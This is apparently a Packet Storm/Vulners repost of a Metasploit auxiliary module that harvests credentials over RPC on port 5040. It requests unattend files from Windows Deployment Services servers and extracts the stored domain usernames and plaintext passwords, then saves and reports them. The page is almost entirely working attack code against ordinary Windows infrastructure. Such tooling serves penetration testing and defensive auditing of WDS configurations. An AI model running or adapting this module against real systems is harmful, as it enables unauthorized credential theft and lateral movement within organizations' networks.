Lucene search
K

Microsoft Windows Deployment Services Unattend Retrieval

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 213 Views

This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::DCERPC  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
DCERPCPacket = Rex::Proto::DCERPC::Packet  
DCERPCClient = Rex::Proto::DCERPC::Client  
DCERPCResponse = Rex::Proto::DCERPC::Response  
DCERPCUUID = Rex::Proto::DCERPC::UUID  
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',  
'Description' => %q{  
This module retrieves the client unattend file from Windows  
Deployment Services RPC service and parses out the stored credentials.  
Tested against Windows 2008 R2 x64 and Windows 2003 x86.  
},  
'Author' => [ 'Ben Campbell' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],  
[ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html']  
],  
))  
  
register_options(  
[  
Opt::RPORT(5040),  
])  
  
deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')  
  
register_advanced_options(  
[  
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])  
])  
end  
  
def run_host(ip)  
begin  
query_host(ip)  
rescue ::Interrupt  
raise $!  
rescue ::Rex::ConnectionError => e  
print_error("#{ip}:#{rport} Connection Error: #{e}")  
ensure  
# Ensure socket is pulled down afterwards  
self.dcerpc.socket.close rescue nil  
self.dcerpc = nil  
self.handle = nil  
end  
end  
  
def query_host(rhost)  
# Create a handler with our UUID and Transfer Syntax  
  
self.handle = Rex::Proto::DCERPC::Handle.new(  
[  
WDS_CONST::WDSCP_RPC_UUID,  
'1.0',  
],  
'ncacn_ip_tcp',  
rhost,  
[datastore['RPORT']]  
)  
  
print_status("Binding to #{handle} ...")  
  
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)  
vprint_good("Bound to #{handle}")  
  
report_service(  
:host => rhost,  
:port => datastore['RPORT'],  
:proto => 'tcp',  
:name => "dcerpc",  
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"  
)  
  
table = Rex::Text::Table.new({  
'Header' => 'Windows Deployment Services',  
'Indent' => 1,  
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']  
})  
  
creds_found = false  
  
WDS_CONST::ARCHITECTURE.each do |architecture|  
if architecture[0] == :ARM && !datastore['ENUM_ARM']  
vprint_status "Skipping #{architecture[0]} architecture due to adv option"  
next  
end  
  
begin  
result = request_client_unattend(architecture)  
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e  
vprint_error(e.to_s)  
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")  
return nil  
end  
  
unless result.nil?  
loot_unattend(architecture[0], result)  
results = parse_client_unattend(result)  
  
results.each do |result|  
unless result.empty?  
if result['username'] and result['password']  
print_good("Retrieved #{result['type']} credentials for #{architecture[0]}")  
creds_found = true  
domain = ""  
domain = result['domain'] if result['domain']  
report_creds(domain, result['username'], result['password'])  
table << [architecture[0], result['type'], domain, result['username'], result['password']]  
end  
end  
end  
end  
end  
  
if creds_found  
print_line  
table.print  
print_line  
else  
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")  
end  
end  
  
def request_client_unattend(architecture)  
# Construct WDS Control Protocol Message  
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)  
  
guid = Rex::Text.rand_text_hex(32)  
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)  
  
# Not sure what this padding is for...  
mac = [0x30].pack('C') * 20  
mac << Rex::Text.rand_text_hex(12)  
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)  
  
arch = [architecture[1]].pack('C')  
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)  
  
version = [1].pack('V')  
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)  
  
wdsc_packet = packet.create  
  
vprint_status("Sending #{architecture[0]} Client Unattend request ...")  
dcerpc.call(0, wdsc_packet, false)  
timeout = datastore['DCERPC::ReadTimeout']  
response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)  
  
if (response and response.stub_data)  
vprint_status('Received response ...')  
data = response.stub_data  
  
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000  
op_error_code = data.unpack('v*')[19]  
if op_error_code == 0  
if data.length < 277  
vprint_error("No Unattend received for #{architecture[0]} architecture")  
return nil  
else  
vprint_status("Received #{architecture[0]} unattend file ...")  
return extract_unattend(data)  
end  
else  
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")  
return nil  
end  
end  
end  
  
def extract_unattend(data)  
start = data.index('<?xml')  
finish = data.index('</unattend>')  
if start and finish  
finish += 10  
return data[start..finish]  
else  
print_error("Incomplete transmission or malformed unattend file.")  
return nil  
end  
end  
  
def parse_client_unattend(data)  
begin  
xml = REXML::Document.new(data)  
return Rex::Parser::Unattend.parse(xml).flatten  
rescue REXML::ParseException => e  
print_error("Invalid XML format")  
vprint_line(e.message)  
return nil  
end  
end  
  
def loot_unattend(archi, data)  
return if data.empty?  
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")  
print_good("Raw version of #{archi} saved as: #{p}")  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def report_creds(domain, user, pass)  
report_cred(  
ip: rhost,  
port: 4050,  
service_name: 'dcerpc',  
user: "#{domain}\\#{user}",  
password: pass,  
proof: domain  
)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation